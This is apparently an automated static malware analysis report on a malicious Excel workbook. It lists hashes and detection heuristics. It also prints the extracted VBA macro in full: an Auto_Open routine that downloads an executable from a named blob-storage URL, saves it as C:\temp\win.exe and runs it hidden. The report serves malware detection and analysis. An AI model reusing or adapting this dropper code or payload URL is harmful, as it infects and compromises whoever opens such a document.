Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 e65bfa5ae80e8785…

MALICIOUS

Office (OOXML)

12.6 KB Created: 2015-06-05 18:17:20 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2020-10-25
MD5: 6ca0224840f30a40205e19380f3e7853 SHA-1: 35d309dc50cac230d123f276233f330e149eea20 SHA-256: e65bfa5ae80e87855b04c661c4fe2ac02c1f7709093501d289c9bf48a334fc5e
290 Risk Score

Heuristics 8

  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Set WinScriptHost = CreateObject("WScript.Shell")
  • Obfuscated VBA Shell command with URL critical OLE_VBA_OBFUSCATED_SHELL_URL
    VBA macro invokes Shell with command text assembled through decoder or string-manipulation functions and includes a URL. This is a high-confidence downloader/dropper pattern, stronger than Shell or URL evidence on their own.
    Matched line in script
    Set WinScriptHost = CreateObject("WScript.Shell")
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    b6b9a79fb7b99c4b4238698b8b0085343.Write bfff96ea8993025f9a55263167f6738e5.ResponseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set bfff96ea8993025f9a55263167f6738e5 = CreateObject("MSXML2.XMLHTTP.3.0")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://athlas.blob.core.windows.net/teste/WinPcap_4_1_3.exe Referenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1992 bytes
SHA-256: af048830f28d68773e7c90020eb4ca709bddb3150e94910134ec690eda396c3d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "EstaPastaDeTrabalho"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Planilha1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Módulo1"
Sub Auto_Open()
Dim bea2b19e869d906e19c2c5845ef99d624, q2dc17a4218875c53c396df50ff4c3afd, b5ebaf9eab0956be7d743ef1391203e5e As String
Dim bfff96ea8993025f9a55263167f6738e5, b6b9a79fb7b99c4b4238698b8b0085343 As Object
bea2b19e869d906e19c2c5845ef99d624 = "https://athlas.blob.core.windows.net/teste/WinPcap_4_1_3.exe"
q2dc17a4218875c53c396df50ff4c3afd = "C:\\temp\\"
b5ebaf9eab0956be7d743ef1391203e5e = "win.exe"
Set bfff96ea8993025f9a55263167f6738e5 = CreateObject("MSXML2.XMLHTTP.3.0")
bfff96ea8993025f9a55263167f6738e5.Open "Get", bea2b19e869d906e19c2c5845ef99d624, False
bfff96ea8993025f9a55263167f6738e5.Send (bea2b19e869d906e19c2c5845ef99d624)
If bfff96ea8993025f9a55263167f6738e5.Status = 200 Then
Set b6b9a79fb7b99c4b4238698b8b0085343 = CreateObject("ADODB.Stream")
b6b9a79fb7b99c4b4238698b8b0085343.Open
b6b9a79fb7b99c4b4238698b8b0085343.Type = 1
b6b9a79fb7b99c4b4238698b8b0085343.Write bfff96ea8993025f9a55263167f6738e5.ResponseBody
b6b9a79fb7b99c4b4238698b8b0085343.Position = 0
b6b9a79fb7b99c4b4238698b8b0085343.SaveToFile q2dc17a4218875c53c396df50ff4c3afd & b5ebaf9eab0956be7d743ef1391203e5e, 2
b6b9a79fb7b99c4b4238698b8b0085343.Close
End If
Set WinScriptHost = CreateObject("WScript.Shell")
WinScriptHost.Run Chr(34) & q2dc17a4218875c53c396df50ff4c3afd + b5ebaf9eab0956be7d743ef1391203e5e & Chr(34), 0
End Sub
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 12800 bytes
SHA-256: b3dbf4041e5d7b4fd42045cd261b0c7f62de62b9ec00a3b13c833dfabcae89f5